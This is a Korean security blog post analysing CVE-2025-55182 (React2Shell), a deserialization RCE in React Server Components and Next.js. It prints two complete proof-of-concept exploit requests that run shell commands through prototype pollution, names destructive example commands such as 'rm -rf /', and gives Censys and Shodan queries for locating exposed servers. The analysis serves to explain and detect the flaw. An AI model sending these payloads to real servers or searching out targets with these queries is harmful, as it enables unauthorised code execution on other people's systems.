-
[CVE-2025-55182] React2ShellNews 2025. 12. 8. 00:58
CVE-2025-55182
리액트 팀은 리액트 서버 구성 요소(RSC)의 중요한 인증되지 않은 원격 코드 실행(RCE) 취약점인 CVE-2025-55182를 공개했다.React2Shell 이라고 불리는 이 CVE는 CVSS 10.0 등급을 부여받았으며, 단일 조작된 HTTP 요청으로 잠재적으로 악성 코드를 실행할 수 있다. Next.js는 React에 의존하는 웹 개발 프레임워크이기 때문에 동일하게 취약하며, CVE-2025-66478을 할당받았다.
React2Shell 취약점이 CVSS 10.0 등급을 부여받은 이유는 아래와 같다.
- Unauthenticated Remote Code Execution : 인증없이 공격 가능
- Zero-Click : 사용자와의 상호작용 없이 공격 가능
- PoC 공개 : 이미 github, X에 PoC가 올라와 있다.
- 기본 설정(Default) 취약 : 취약한 구성 요소인 RSC가 기본적으로 활성화 되어 있다.
- 전 세계 수십만 서비스가 React 19 / Next.js 기반으로 만들어져있다.
즉 CVE-2025-55182는 RSC 직렬화 프로토콜의 구조적 결함 때문에 개발자가 별도로 실수를 하지 않아도 기본 설정(default config)만으로 취약하며, 인증 없이 공개된 PoC로도 공격이 가능하다.
취약한 버전
- React 19.0, 19.1.0, 19.1.1, and 19.2.0
- Next.js 15.x, Next.js 16.x, Next.js 14.3.0-canary.77 and later canary releases (with App Router)
기술적 결함
React Server Components (RSC) 아키텍처에서, 클라이언트에서 서버의 특정 함수(Server Function)를 호출할 수 있는데, 이 호출은 React의 Flight 프로토콜 형식으로 인코딩된 데이터를 HTTP 요청의 본문으로 서버에 전송한다.
서버는 클라이언트에서 받은 Flight 프로토콜 페이로드를 읽어 서버 측 함수 호출을 수행하기 위해 데이터를 역직렬화(Deserialization)하는데, 이 과정에서 취약한 버전의 React는 전송된 데이터를 검증 없이 처리하고 있었다.
이를 악용하여 임의의 클래스 인스턴스를 생성하거나 특정 코드를 실행하도록 유도하는 페이로드를 전송하면, 서버가 악성 페이로드를 역직렬화하는 과정에서, Node.js 환경에서 require 호출이나 함수 실행과 같은 의도치 않은 서버 측 동작을 트리거하게 된다.
Flight 프로토콜은 RSC 아키텍처에서 클라이언트와 서버가 데이터를 주고받기 위해 React에서 자체적으로 정의한 커스텀 직렬화(Serialization) 형식이다.
일반적으로 일반적인 웹 API는 JSON을 사용하여 데이터를 전송하며, JSON은 순수한 데이터(문자열, 숫자, 배열, 객체)만을 표현할 수 있다. 하지만 RSC는 서버와 클라이언트 사이에 단순한 데이터 외에 다음 세 가지 중요한 요소를 전송해야 한다.
- React Element (컴포넌트): 서버에서 렌더링 된 <div />나 <MyComponent />와 같은 React 요소
- Server Component Reference: 서버에서 실행되어야 하는 컴포넌트에 대한 참조
- Server Function (액션): 클라이언트가 버튼 클릭 등으로 서버의 특정 함수를 호출할 수 있도록, 이 함수에 대한 참조
React는 이 모든 것을 효율적으로 표현하고 다시 JavaScript 객체로 복원(역직렬화)할 수 있는 Flight 프로토콜이라는 자체 형식을 개발했다. React2Shell 취약점은 클라이언트가 서버 함수를 호출할 때, 클라이언트 -> 서버로 전송하는 요청 페이로드가 서버에서 역직렬화되는 과정에서 발생한다.

PoC 코드 분석
https://github.com/assetnote/react2shell-scanner https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yamlReact2Shell 취약점은 서버 측 함수(Server Function/Action)를 호출하기 위해 클라이언트가 보낸 HTTP 요청의 페이로드를 서버가 처리할 때 발생한다. Node.js는 서버 운영체제에 대한 완전한 접근 권한을 가지고 있어, 일반적인 서버 애플리케이션에서는 다음과 같은 모듈을 사용하여 시스템 레벨의 작업을 수행할 수 있다.
- require('fs'): 파일 시스템 접근 (읽기/쓰기/삭제)
- require('child_process').exec('<command>'): 운영체제 셸 명령어 실행 (예: whoami, cat /etc/passwd, rm -rf /)
React2Shell 취약점은 React Server Component (RSC)의 Server Function(또는 Server Action)을 처리하는 특정 HTTP 엔드포인트를 통해 트리거된다. 예를 들어, 사용자가 폼을 제출하거나 버튼을 클릭할 때 데이터베이스에 데이터를 저장하는 등의 작업을 서버에서 수행하도록 하는 기능이다. 클라이언트가 Server Function을 호출할 때, 클라이언트 애플리케이션은 해당 함수의 이름과 인수를 Flight 프로토콜 형식으로 직렬화하여 특정 HTTP 엔드포인트로 POST 요청을 보낸다.
POST / HTTP/1.1 Host: {{Hostname}} Next-Action: x X-Nextjs-Request-Id: {{request-id}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: {{nextjs-html}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $(({{num1}}*{{num2}}))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--POST / HTTP/1.1 Host: {{Hostname}} Next-Action: x X-Nextjs-Request-Id: {{request-id}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: {{nextjs-html}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('powershell -c \"{{num1}}*{{num2}}\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--- name="0" 파트: 악성 페이로드의 핵심이 담겨 있으며, 서버에서 역직렬화될 때 공격 트리거
- name="1" 파트: $@0을 참조하며, 이는 name="0" 파트의 결과(역직렬화된 객체)를 참조 인수로 사용한다는 Flight 프로토콜
- name="2" 파트: 빈 배열([]) 전송
- "then":"$1:__proto__:then":
- 이는 프로토타입 오염 공격을 시도하는 핵심 부분으로, Flight 프로토콜이 참조하는 $1 객체의 __proto__ 속성(JavaScript 객체의 프로토타입 체인)을 조작하여 특정 속성을 덮어씀
- "value":"{\"then\":\"$B1337\"}":
- 이는 역직렬화 과정에서 새로운 객체를 생성하거나 기존 객체의 상태를 제어하는 데 사용되는 또 다른 Flight 참조
- "_response":{...}:
- 이 객체 내부에 공격자가 삽입한 임의의 코드가 포함되어, 이 코드가 역직렬화 과정에서 가젯으로 활용되어 실행
Censys를 통한 취약한 대상 검색
- Exposed Web Services using React Server Components or an affected framework:
web.endpoints.http.headers: (key: "Content-Type" and value: "text/x-component") or web.endpoints.http.headers: (key: "Vary" and value: "RSC") or web.software.product:"next.js" or web.endpoints.http.body:{"react-router-dom.js","__WAKU_CLIENT_IMPORT__", "__WAKU_ROUTER_PREFETCH__", "__WAKU_HYDRATE__", "__WAKU_PREFETCHED__","import.meta.viteRsc", "__vite_rsc", "__RWSDK_CONTEXT" } or web.endpoints.http.html_tags = "<meta name=\"generator\" content=\"Waku\"/>" or web.endpoints.http.favicons.hash_sha256 = "4ec926d579c8540e4eb8e4eff3d0fc9060410ce5218293ddebd9ddb36e76b7e6"- ASM - Broad Exposure Fingerprint:
host.services.http.response.headers: (key="Content-Type" and value:"text/x-component") or host.services.http.response.headers: (key="Vary" and value:"RSC") or web_entity.instances.http.response.headers.key="Content-Type" and web_entity.instances.http.response.headers.value="text/x-component" or web_entity.instances.http.response.headers.key="Vary" and web_entity.instances.http.response.headers.value="RSC" or host.services.software.product: "next.js" or web_entity.instances.software.product: "next.js" or host.services.http.response.body: "react-router-dom.js" or web_entity.instances.http.response.body: "react-router-dom.js" or host.services.http.response.body:{"WAKU_CLIENT_IMPORT", "WAKU_ROUTER_PREFETCH", "WAKU_HYDRATE", "WAKU_PREFETCHED", "WAKU_CLIENT_IMPORT","WAKU_ROUTER_PREFETCH", "WAKU_HYDRATE", "WAKU_PREFETCHED", "import.meta.viteRsc", "__vite_rsc", "__RWSDK_CONTEXT"} or host.services.http.response.html_tags = "<meta name="generator" content="Waku"/>" or web_entity.instances.http.response.html_tags = "<meta name="generator" content="Waku"/>" or host.services.http.response.favicons.md5_hash: "3efbaca4b784bc49455565d443232c72" or web_entity.instances.http.response.favicons.md5_hash: "3efbaca4b784bc49455565d443232c72" or web_entity.instances.http.response.body: {"import.meta.viteRsc", "__vite_rsc", "__RWSDK_CONTEXT"}- ASM - Risk Fingerprint for Exposed RSC:
risks.name="React2Shell: Unauthenticated RCE in React Server Components [CVE-2025-55182]"- Legacy Search:
services.http.response.headers: (key: "Content-Type" and value.headers: "text/x-component") or services.http.response.headers: (key: "Vary" and value.headers: "RSC") or services.software.product: "next.js" or services.http.response.body: {"react-router-dom.js","__WAKU_CLIENT_IMPORT__" ,"__WAKU_ROUTER_PREFETCH__","__WAKU_HYDRATE__","__WAKU_PREFETCHED__","import.meta.viteRsc", "__vite_rsc", "__RWSDK_CONTEXT"} or services.http.response.html_tags: "<meta name=\"generator\" content=\"Waku\"/>" or services.http.response.favicons.hashes: "4ec926d579c8540e4eb8e4eff3d0fc9060410ce5218293ddebd9ddb36e76b7e6"- Simply Search:
services.http.response.headers: (key: `Vary` and value.headers: `RSC, Next-Router-State-Tree`)Shodan을 통한 취약한 대상 검색
- Simply Search:
"Vary: RSC, Next-Router-State-Tree"(http.component:"React") or (X-Powered-By: Next.js)